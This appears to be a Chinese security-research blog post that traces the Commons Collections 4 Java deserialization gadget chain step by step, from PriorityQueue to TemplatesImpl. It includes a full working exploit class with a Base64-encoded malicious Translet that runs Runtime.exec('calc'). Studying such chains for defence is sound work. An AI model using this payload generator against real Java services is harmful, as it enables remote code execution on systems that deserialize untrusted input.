把CC4链拆到字节码:一文看透Java反序列化从PriorityQueue到TemplatesImpl的完整触发路径
一文看透Java反序列化从PriorityQueue到TemplatesImpl的完整触发路径
个人思考:CC4 链本质上是
PriorityQueue负责触发compare(),TransformingComparator负责触发transform(),ChainedTransformer负责串联转换,最后通过TrAXFilter(Templates)间接调用TemplatesImpl.newTransformer()
source触发段:
ObjectInputStream.readObject()
-> PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
sink执行段:
TransformingComparator.compare()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InstantiateTransformer.transform()
-> new TrAXFilter(templates)
-> templates.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> TransletClassLoader.defineClass()
-> 恶意Translet类实例化按图跟链见附录
CC4中的关键类
PriorityQueue-- 入口
在反序列化时,PriorityQueue.readObject()会恢复队列元素,然后调用heapify(),而heapify()在存在comparator时会走siftDownUsingComparator(),其中会comparator.compare((E) c, (E) queue[right]) > 0)
因此该段触发关系为
PriorityQueue.readObject()
-> heapify()
-> siftDownUsingComparator()
-> comparator.compare()TransformingComparator -- 桥梁
它实现了Comparator,但是它的compare()方法不会直接比较原始对象,而是先对对象做一次transform,再把转换结果交给真正的comparator比较。

在CC4中Transformer继承了Function <=等价理解=> 调用 apply(input),实际上内部还是转去调用 transform(input),类似于:
public interface Transformer<I, O> extends Function<I, O> {
O transform(I input);
@Override
default O apply(I input) {
return transform(input);
}
}即:
TransformingComparator.compare()
-> transformer.apply(obj1)
-> transformer.apply(obj2)
<=等价理解=>
TransformingComparator.compare()
-> transformer.apply()
-> Transformer.transform()
ChainedTransformer -- 转换器
它本身实现了Transformer,作用是把多个Transformer串起来执行。

第一步:无论输入什么,都返回TrAXFilter.class
第二步:对TrAXFilter.class调用构造方法new TrAXFilter(templatesImpl)
ChainedTransformer
├── ConstantTransformer(TrAXFilter.class)
└── InstantiateTransformer(
paramTypes = Templates.class,
args = templatesImpl
)为什么要用ConstantTransformer
ConstantTransformer的作用:忽略输入,永远返回固定对象。
调用ConstantTransformer.transform()的目的不是处理PriorityQueue里的真实元素,而是强行把链条的下一步输入变成TrAXFilter.class
为什么要用 InstantiateTransformer
InstantiateTransformer的作用:对传入的Class对象反射调用构造方法,创建实例。
在CC4中,它先接收上一步传来的TrAXFilter.class,然后根据预设参数执行,反射触发TrAXFilter。
InstantiateTransformer.transform(TrAXFilter.class)
-> TrAXFilter.class.getConstructor(Templates.class)
-> constructor.newInstance(templatesImpl)TemplatesImpl.newTransformer() -- 最后的sink
TemplatesImpl.newTransformer()会调用getTransletInstance(),getTransletInstance()内部如果_class == null,会继续调用defineTransletClasses(),defineTransletClasses()会使用内部的TransletClassLoader去defineClass(_bytecodes[i]),然后找到继承自AbstractTranslet的主类,然后getTransletInstance()会对该类进行实例化。
即:newTransformer()调用getTransletInstance(),getTransletInstance()在_class == null时调用defineTransletClasses(),而defineTransletClasses()会根据_bytecodes定义类。
关键字段:
_name 不能为null
_bytecodes 存放待加载的字节码
_class 通常为null,使其进入defineTransletClasses()
_tfactory TransformerFactoryImpl对象总结
CC4是利用PriorityQueue反序列化时重建堆会调用comparator的特性,触发TransformingComparator.compare();而这个compare会调用ChainedTransformer.transform(),链中先返回TrAXFilter.class,再反射实例化TrAXFilter(TemplatesImpl),最终由TrAXFilter构造方法调用TemplatesImpl.newTransformer(),完成字节码加载与实例化。
EXP
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{codes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception {
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
按图索骥 -- 附录跟链
source触发段
PriorityQueue.readObject()

PriorityQueue.heapify()

PriorityQueue.siftDown()

PriorityQueue.siftDownUsingComparator()

TransformingComparator.compare()
ctrl+shift+f搜TransformingComparator,可见TransformingComparator implements Comparator


sink执行段
TransformingComparator.compare()


ChainedTransformer.transform()
ctrl+shift+f搜ChainedTransformer,可见ChainedTransformer implements Transformer,且其中有实现transform(),用于串联多个Transformer。


ConstantTransformer.transform()
ctrl+shift+f搜ConstantTransformer,可见ConstantTransformer implements Transformer,且其中有实现transform(),用于固定输出。


InstantiateTransformer.transform()
ctrl+shift+f搜InstantiateTransformer,可见InstantiateTransformer implements Transformer,且其中有实现transform(),用于对传入的Class对象反射调用构造方法,创建实例。


new TrAXFilter(templates)
ctrl+shift+f搜TrAXFilter,可见在TrAXFilter()中可调用templates.newTransformer()。

templates.newTransformer()<=>templatesImpl.newTransformer()
接着ctrl+shift+f搜TemplatesImpl,会发现TemplatesImpl实现了Templates 接口。

TemplatesImpl.getTransletInstance()
定位到TemplatesImpl类中的newTransformer()。

TemplatesImpl.defineTransletClasses()
跟进getTransletInstance()

TransletClassLoader.defineClass()
再跟进defineTransletClasses(),成功找到了字节码的存放点。
注: defineClass()来自ClassLoader,TransletClassLoader extends ClassLoader


